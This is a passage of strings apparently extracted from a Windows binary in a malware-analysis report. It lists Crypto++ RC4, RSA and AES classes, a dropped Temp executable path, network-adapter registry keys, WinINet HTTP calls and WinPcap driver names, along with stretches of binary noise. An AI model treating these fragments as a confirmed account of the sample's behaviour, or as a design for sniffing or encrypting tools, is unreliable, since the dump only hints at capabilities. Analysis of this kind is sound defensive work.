eyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@</pre><pre>.?AV?$AlgorithmImpl@V?$SimpleKeyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@V12@@CryptoPP@@</pre><pre>.PAVRSAFunction@CryptoPP@@</pre><pre>.PAVInvertibleRSAFunction@CryptoPP@@</pre><pre>.PBVPrimeSelector@CryptoPP@@</pre><pre>.?AVInvalidKeyLength@PK_SignatureScheme@CryptoPP@@</pre><pre>.?AVKeyTooShort@PK_SignatureScheme@CryptoPP@@</pre><pre>.?AV?$VariableKeyLength@$0BA@$00$0BAA@$00$03$0A@@CryptoPP@@</pre><pre>.?AV?$SimpleKeyingInterfaceImpl@VARC4_Base@Weak1@CryptoPP@@V123@@CryptoPP@@</pre><pre>.?AV?$AlgorithmImpl@V?$SimpleKeyingInterfaceImpl@VARC4_Base@Weak1@CryptoPP@@V123@@CryptoPP@@VARC4_Base@Weak1@2@@CryptoPP@@</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\temp2318057572.exe</pre><pre>%WinDir%</pre><pre>%System%\drivers\</pre><pre>%System%\</pre><pre>CreateIoCompletionPort</pre><pre>GetWindowsDirectoryA</pre><pre>GetSystemWindowsDirectoryA</pre><pre>RegQueryInfoKeyA</pre><pre>RegCreateKeyExA</pre><pre>RegEnumKeyExA</pre><pre>MapVirtualKeyA</pre><pre>HttpOpenRequestA</pre><pre>HttpSendRequestA</pre><pre>InternetCrackUrlA</pre><pre>HttpQueryInfoA</pre><pre>%m5V%L%d%h%w%9º"1@f[:B</pre><pre>3,#9'/($*</pre><pre>]<%cW><pre>.-/&00((00</pre><pre>5-9,0000</pre><pre>###03# 1#</pre><pre>!&]#### -###))558)</pre><pre>##-;##=4--#</pre><pre># 0-\# ; ;####3<</pre><pre>[5#>=@5#</pre><pre>#)0#3#>#</pre><pre>###66## . </pre><pre># #-#1?6)</pre><pre>"- -#%-)</pre><pre>(88($(80@</pre><pre>8$,$ $0 80(,,</pre><pre>,4840$,(\8$$@(</pre><pre><004><pre>.reloc</pre><pre>DNSAPI.dll</pre><pre>IPHLPAPI.DLL</pre><pre>MSWSOCK.dll</pre><pre>OLEAUT32.dll</pre><pre>PSAPI.DLL</pre><pre>SHELL32.dll</pre><pre>USER32.dll</pre><pre>WININET.dll</pre><pre>\Registry\Machine\System\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\</pre><pre>\Registry\Machine\System\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}</pre><pre>\Registry\Machine\System\CurrentControlSet\Services\Tcpip\Linkage</pre><pre>npf.sys (NT5/6 x86) Kernel Driver</pre><pre>4.1.0.1753</pre><pre>5755555555</pre><pre>5555555</pre><pre>577777555555</pre><pre>0000001111111</pre><pre>11111122222222</pre><pre>6666668</pre><pre>88888888</pre><pre>,-./0123456789</pre><pre>$567$$=></pre><pre>.pqrst</pre><pre>$%&'()* ,</pre><pre>wpcap.dll Dynamic Link Library - based on libpcap 1.0rel0b branch (20091008)</pre><pre>SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces</pre><pre>TcpIp</pre><pre>SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}</pre><pre>SYSTEM\CurrentControlSet\Services\Tcpip\Linkage</pre><pre>drivers\NPF.sys</pre><pre>airpcap.dll</pre><pre>\StringFileInfo\xx\FileVersion</pre><pre>PACKET.DLL</pre><pre>packet.dll (NT5) Dynamic Link Library</pre><pre>abe2869f-9b47-4cd9-a358-c22904dba7f7</pre></004></pre></pre></%cW></pre></:></pre></3></pre></4></pre></3></pre></004></pre></pre></%cW></pre></:></pre></3></pre></4></pre></3>